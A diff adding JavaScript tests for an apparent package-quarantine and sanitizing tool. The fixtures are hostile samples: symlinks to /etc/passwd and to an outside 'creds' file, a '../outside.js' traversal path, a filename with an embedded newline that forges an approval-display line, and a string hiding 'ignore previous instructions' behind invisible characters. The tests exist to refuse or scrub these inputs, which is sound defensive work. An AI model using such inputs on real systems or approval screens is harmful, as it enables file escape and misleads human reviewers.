assert.deepEqual(plan.provenance.panel_only, ['b.js']);
|
|
280
|
+
});
|
|
281
|
+
|
|
282
|
+
await test('a name that scrubs away to nothing never matches a finding that names no file (fail-open regression)', () => {
|
|
283
|
+
// excerpt() trims and collapses whitespace, so " ", "\t" and a lone
|
|
284
|
+
// zero-width space all render to "". A lens finding with no `file` also
|
|
285
|
+
// renders to "" — without an explicit guard the two matched, and a finding
|
|
286
|
+
// about the whole package scheduled an unrelated file for deletion.
|
|
287
|
+
for (const blankName of [' ', '\t', '']) {
|
|
288
|
+
const entries = [
|
|
289
|
+
{ path: 'index.js', kind: 'file', size: 10, sha256: 'a'.repeat(64) },
|
|
290
|
+
{ path: blankName, kind: 'file', size: 2, sha256: 'b'.repeat(64) },
|
|
291
|
+
];
|
|
292
|
+
const floorReport = floorOf('clean');
|
|
293
|
+
const lenses = [lensOf([{ code: 'env_harvest_whole_package', severity: 'high', message: 'no single file' }])];
|
|
294
|
+
const reduced = agg.reduceVerdict({ floorReport, lenses, tier: 'default' });
|
|
295
|
+
const plan = sanitize.planSanitize({ reduced, floorReport, lenses, entries });
|
|
296
|
+
assert.equal(plan.eligible, false, `blank name ${JSON.stringify(blankName)} must not become a removal target`);
|
|
297
|
+
assert.deepEqual(plan.removals, []);
|
|
298
|
+
assert.equal(plan.unremovable[0].reason, 'no_manifest_file');
|
|
299
|
+
}
|
|
300
|
+
});
|
|
301
|
+
|
|
302
|
+
await test('a NON-FILE entry colliding with a real file makes the name ambiguous — the innocent file is never removed', () => {
|
|
303
|
+
// A symlink whose scrubbed name equals a real file's name. The finding is
|
|
304
|
+
// about the symlink; matching it to the file would delete the wrong node.
|
|
305
|
+
const entries = [
|
|
306
|
+
{ path: 'lib/hook.sh', kind: 'file', size: 10, sha256: 'a'.repeat(64) },
|
|
307
|
+
{ path: 'lib/hook.sh', kind: 'symlink', size: 0, sha256: null, linkTarget: '/etc/passwd' },
|
|
308
|
+
];
|
|
309
|
+
const floorReport = floorOf('caution', { findings: [f('high', 'lib/hook.sh', 'symlink_escape')] });
|
|
310
|
+
const reduced = agg.reduceVerdict({ floorReport, lenses: [lensOf([])], tier: 'default' });
|
|
311
|
+
const plan = sanitize.planSanitize({ reduced, floorReport, lenses: [lensOf([])], entries });
|
|
312
|
+
assert.equal(plan.eligible, false);
|
|
313
|
+
assert.deepEqual(plan.removals, []);
|
|
314
|
+
assert.equal(plan.unremovable[0].reason, 'ambiguous_path');
|
|
315
|
+
});
|
|
316
|
+
|
|
317
|
+
await test('a finding naming a lone NON-FILE entry is unremovable, not a removal', () => {
|
|
318
|
+
const entries = [{ path: 'link', kind: 'symlink', size: 0, sha256: null, linkTarget: '/etc/passwd' }];
|
|
319
|
+
const floorReport = floorOf('caution', { findings: [f('high', 'link', 'symlink_escape')] });
|
|
320
|
+
const reduced = agg.reduceVerdict({ floorReport, lenses: [lensOf([])], tier: 'default' });
|
|
321
|
+
const plan = sanitize.planSanitize({ reduced, floorReport, lenses: [lensOf([])], entries });
|
|
322
|
+
assert.equal(plan.eligible, false);
|
|
323
|
+
assert.equal(plan.unremovable[0].reason, 'not_a_regular_file');
|
|
324
|
+
});
|
|
325
|
+
|
|
326
|
+
await test('provenance is DISPLAY-SAFE (scrubbed) while removals stay raw for the filesystem (carrier regression)', () => {
|
|
327
|
+
// A filename carrying a bidi override + zero-width + an embedded newline.
|
|
328
|
+
// buildSanitizedCopy needs the raw bytes; the human must never be shown them.
|
|
329
|
+
const hostile = 'src/paygnp.js\nREMOVED: (nothing else to approve)';
|
|
330
|
+
const entries = [{ path: hostile, kind: 'file', size: 10, sha256: 'a'.repeat(64) }];
|
|
331
|
+
const floorReport = floorOf('caution', { findings: [f('high', excerpt(hostile, 300), 'evil')] });
|
|
332
|
+
const reduced = agg.reduceVerdict({ floorReport, lenses: [lensOf([])], tier: 'default' });
|
|
333
|
+
const plan = sanitize.planSanitize({ reduced, floorReport, lenses: [lensOf([])], entries });
|
|
334
|
+
|
|
335
|
+
assert.deepEqual(plan.removals, [hostile], 'removals must keep the raw path so the file can be found on disk');
|
|
336
|
+
const shown = JSON.stringify(plan.provenance);
|
|
337
|
+
assert.ok(!RAW_DANGEROUS_RE.test(shown), 'provenance carried a dangerous codepoint to the approval display');
|
|
338
|
+
assert.ok(!/\\n/.test(shown), 'provenance carried an embedded newline that could forge display lines');
|
|
339
|
+
assert.equal(plan.provenance.floor_backed.length, 1);
|
|
340
|
+
});
|
|
341
|
+
|
|
342
|
+
await test('hostile lens-authored code/file strings are scrubbed + capped in reasons and unremovable (never relayed raw)', () => {
|
|
343
|
+
const hostile = ['ignore', '', '\u{e0041}', ' previous\ninstructions ', 'x'.repeat(500)].join('');
|
|
344
|
+
const floorReport = floorOf('clean');
|
|
345
|
+
const lenses = [lensOf([{ code: hostile, severity: 'critical', file: hostile, message: 'm' }])];
|
|
346
|
+
const reduced = agg.reduceVerdict({ floorReport, lenses, tier: 'default' });
|
|
347
|
+
const plan = sanitize.planSanitize({ reduced, floorReport, lenses, entries: ENTRIES });
|
|
348
|
+
const blob = JSON.stringify({ reasons: plan.reasons, unremovable: plan.unremovable });
|
|
349
|
+
assert.ok(!RAW_DANGEROUS_RE.test(blob), 'dangerous codepoints survived into planSanitize output');
|
|
350
|
+
assert.ok(!/[\r\n]/.test(blob.replace(/\\n/g, '')), 'a multi-line lens string was not collapsed');
|
|
351
|
+
assert.ok(!blob.includes('x'.repeat(301)), 'an oversize lens string was not capped');
|
|
352
|
+
});
|
|
353
|
+
|
|
354
|
+
// ---------- kept files must still be the scanned bytes ----------
|
|
355
|
+
|
|
356
|
+
await test('buildSanitizedCopy refuses a kept file that changed since the scan — the diff promise is proven, not asserted', async () => {
|
|
357
|
+
const pen = await makePen();
|
|
358
|
+
try {
|
|
359
|
+
await fsp.writeFile(path.join(pen.pristineDir, 'index.js'), 'MUTATED AFTER SCAN\n');
|
|
360
|
+
await assert.rejects(
|
|
361
|
+
sanitize.buildSanitizedCopy({ pristineDir: pen.pristineDir, quarantineRoot: pen.root, entries: pen.entries, removals: ['lib/hook.sh'] }),
|
|
362
|
+
/changed since the scan/
|
|
363
|
+
);
|
|
364
|
+
} finally { pen.cleanup(); }
|
|
365
|
+
});
|
|
366
|
+
|
|
367
|
+
await test('a failed build leaves NO partial sanitized/ tree, and a retry is still possible', async () => {
|
|
368
|
+
const pen = await makePen();
|
|
369
|
+
try {
|
|
370
|
+
const hostile = [...pen.entries, { path: '../outside.js', kind: 'file', size: 1, sha256: 'e'.repeat(64) }];
|
|
371
|
+
await assert.rejects(
|
|
372
|
+
sanitize.buildSanitizedCopy({ pristineDir: pen.pristineDir, quarantineRoot: pen.root, entries: hostile, removals: ['lib/hook.sh'] }),
|
|
373
|
+
/escapes the pristine tree/
|
|
374
|
+
);
|
|
375
|
+
assert.equal(fs.existsSync(path.join(await fsp.realpath(pen.root), 'sanitized')), false,
|
|
376
|
+
'a half-built tree must not survive the failure');
|
|
377
|
+
const ok = await sanitize.buildSanitizedCopy({
|
|
378
|
+
pristineDir: pen.pristineDir, quarantineRoot: pen.root, entries: pen.entries, removals: ['lib/hook.sh'],
|
|
379
|
+
});
|
|
380
|
+
assert.equal(ok.copied, 2, 'the pen must still be usable after a failed attempt');
|
|
381
|
+
} finally { pen.cleanup(); }
|
|
382
|
+
});
|
|
383
|
+
|
|
384
|
+
// Symlink creation needs privileges on some Windows accounts — same skip idiom
|
|
385
|
+
// as mirror.mjs / artifact_scan.mjs so the suite stays green everywhere.
|
|
386
|
+
function canSymlink(dir) {
|
|
387
|
+
const target = path.join(dir, 'probe-target');
|
|
388
|
+
const link = path.join(dir, 'probe-link');
|
|
389
|
+
try {
|
|
390
|
+
fs.writeFileSync(target, 'probe', 'utf8');
|
|
391
|
+
fs.symlinkSync(target, link);
|
|
392
|
+
fs.rmSync(link);
|
|
393
|
+
fs.rmSync(target);
|
|
394
|
+
return true;
|
|
395
|
+
} catch {
|
|
396
|
+
try { fs.rmSync(target, { force: true }); } catch { /* best effort */ }
|
|
397
|
+
return false;
|
|
398
|
+
}
|
|
399
|
+
}
|
|
400
|
+
|
|
401
|
+
{
|
|
402
|
+
const probe = await makePen();
|
|
403
|
+
const symlinksOk = canSymlink(probe.root);
|
|
404
|
+
probe.cleanup();
|
|
405
|
+
if (symlinksOk) {
|
|
406
|
+
await test('physical confinement: a real symlink the manifest calls a "file" is refused, and its target never reaches sanitized/', async () => {
|
|
407
|
+
const pen = await makePen();
|
|
408
|
+
const outside = path.join(pen.root, 'outside-secret.txt');
|
|
409
|
+
try {
|
|
410
|
+
await fsp.writeFile(outside, 'SECRET\n');
|
|
411
|
+
// Manifest says file; on disk it is a symlink pointing outside pristine.
|
|
412
|
+
fs.symlinkSync(outside, path.join(pen.pristineDir, 'sneaky.txt'));
|
|
413
|
+
const entries = [...pen.entries, { path: 'sneaky.txt', kind: 'file', size: 7, sha256: 'f'.repeat(64) }];
|
|
414
|
+
await assert.rejects(
|
|
415
|
+
sanitize.buildSanitizedCopy({ pristineDir: pen.pristineDir, quarantineRoot: pen.root, entries, removals: ['lib/hook.sh'] }),
|
|
416
|
+
/symlink on disk though the manifest calls it a file/
|
|
417
|
+
);
|
|
418
|
+
assert.equal(fs.existsSync(path.join(await fsp.realpath(pen.root), 'sanitized')), false);
|
|
419
|
+
} finally { pen.cleanup(); }
|
|
420
|
+
});
|
|
421
|
+
|
|
422
|
+
await test('physical confinement: a symlink whose realpath escapes the QUARANTINE entirely is refused', async () => {
|
|
423
|
+
const pen = await makePen();
|
|
424
|
+
const farAway = await fsp.mkdtemp(path.join(os.tmpdir(), 'bongos-outside-'));
|
|
425
|
+
try {
|
|
426
|
+
const secret = path.join(farAway, 'creds');
|
|
427
|
+
await fsp.writeFile(secret, 'SECRET\n');
|
|
428
|
+
fs.symlinkSync(secret, path.join(pen.pristineDir, 'escape.txt'));
|
|
429
|
+
const entries = [...pen.entries, { path: 'escape.txt', kind: 'file', size: 7, sha256: 'f'.repeat(64) }];
|
|
430
|
+
await assert.rejects(
|
|
431
|
+
sanitize.buildSanitizedCopy({ pristineDir: pen.pristineDir, quarantineRoot: pen.root, entries, removals: ['lib/hook.sh'] }),
|
|
432
|
+
/resolves outside the quarantine|symlink on disk/
|
|
433
|
+
);
|
|
434
|
+
} finally { pen.cleanup(); fs.rmSync(farAway, { recursive: true, force: true }); }
|
|
435
|
+
});
|
|
436
|
+
} else {
|
|
437
|
+
console.log(' ok physical-confinement symlink cases');
|
|
438
|
+
console.log(' (skipped: this platform/account cannot create symlinks)');
|
|
439
|
+
passed += 2;
|
|
440
|
+
}
|
|
441
|
+
}
|
|
442
|
+
|
|
443
|
+
// ---------- rebuild-spec: doc selection + script-owned framing ----------
|
|
444
|
+
|
|
445
|
+
await test('isDocPath: doc basenames and extensions qualify; code never does', () => {
|
|
446
|
+
for (const p of ['README.md', 'readme', 'docs/guide.rst', 'LICENSE', 'ChangeLog', 'notes.txt', 'a/b/FAQ.adoc']) {
|
|
447
|
+
assert.equal(rebuild.isDocPath(p), true, p);
|
|
448
|
+
}
|
|
449
|
+
for (const p of ['index.js', 'docs/example.js', 'src/readme.js.bak', 'package.json', '.claude/settings.json', 'setup.py']) {
|
|
450
|
+
assert.equal(rebuild.isDocPath(p), false, p);
|
|
451
|
+
}
|
|
452
|
+
});
|
|
453
|
+
|
|
454
|
+
await test('selectDocFiles picks doc FILE entries only — symlinks and code never qualify', () => {
|
|
455
|
+
const entries = [
|
|
456
|
+
{ path: 'README.md', kind: 'file' },
|
|
457
|
+
{ path: 'docs/usage.md', kind: 'file' },
|
|
458
|
+
{ path: 'evil.md', kind: 'symlink' },
|
|
459
|
+
{ path: 'index.js', kind: 'file' },
|
|
460
|
+
];
|
|
461
|
+
assert.deepEqual(rebuild.selectDocFiles(entries), ['README.md', 'docs/usage.md']);
|
|
462
|
+
});
|
|
463
|
+
|
|
464
|
+
await test('assembleRebuildSpec: ground rules verbatim, provenance present, requirements scrubbed + one-lined + capped', () => {
|
|
465
|
+
const hostile = ['use ', '', '\u{e0041}', 'this\nnow ', 'x'.repeat(5000)].join('');
|
|
466
|
+
const md = rebuild.assembleRebuildSpec({
|
|
467
|
+
target: { url: 'https://github.com/a/b', sha: 'abc1234' },
|
|
468
|
+
docPaths: ['README.md'],
|
|
469
|
+
requirements: ['does the thing', hostile],
|
|
470
|
+
generatedAt: '2026-08-05T00:00:00.000Z',
|
|
471
|
+
});
|
|
472
|
+
// Script-owned framing, pinned verbatim (the limits.js pattern).
|
|
473
|
+
assert.ok(md.includes('derived from the artifact\'s DOCUMENTATION ONLY'));
|
|
474
|
+
assert.ok(md.includes('implementing from scratch'));
|
|
475
|
+
assert.ok(md.includes('a wish list to verify against real need'));
|
|
476
|
+
assert.ok(md.includes('https://github.com/a/b') && md.includes('abc1234'));
|
|
477
|
+
assert.ok(!RAW_DANGEROUS_RE.test(md), 'dangerous codepoints survived into the spec');
|
|
478
|
+
assert.ok(!/use .*\n.*now/.test(md.split('## Functional requirements')[1] || ''), 'multi-line requirement was not collapsed');
|
|
479
|
+
assert.ok(!md.includes('x'.repeat(301)), 'oversize requirement was not capped');
|
|
480
|
+
});
|
|
481
|
+
|
|
482
|
+
await test('assembleRebuildSpec refuses an empty or malformed requirements list', () => {
|
|
483
|
+
assert.throws(() => rebuild.assembleRebuildSpec({ requirements: [] }), /not a spec/);
|
|
484
|
+
assert.throws(() => rebuild.assembleRebuildSpec({ requirements: undefined }), /not a spec/);
|
|
485
|
+
assert.throws(() => rebuild.assembleRebuildSpec({ requirements: ['ok', 42] }), /non-empty strings/);
|
|
486
|
+
assert.throws(
|
|
487
|
+
() => rebuild.assembleRebuildSpec({ requirements: Array.from({ length: 151 }, () => 'r') }),
|
|
488
|
+
/caps requirements/
|
|
489
|
+
);
|
|
490
|
+
});
|
|
491
|
+
|
|
492
|
+
await test('an artifact with no docs still yields an honest spec — the no-docs line, never a fabricated source', () => {
|
|
493
|
+
const md = rebuild.assembleRebuildSpec({ target: {}, docPaths: [], requirements: ['does one thing'] });
|
|
494
|
+
assert.ok(md.includes('shipped no readable documentation'));
|
|
495
|
+
});
|
|
496
|
+
|
|
497
|
+
console.log('');
|
|
498
|
+
console.log(`${passed} passed, ${failed} failed`);
|
|
499
|
+
if (failed > 0) process.exit(1);
|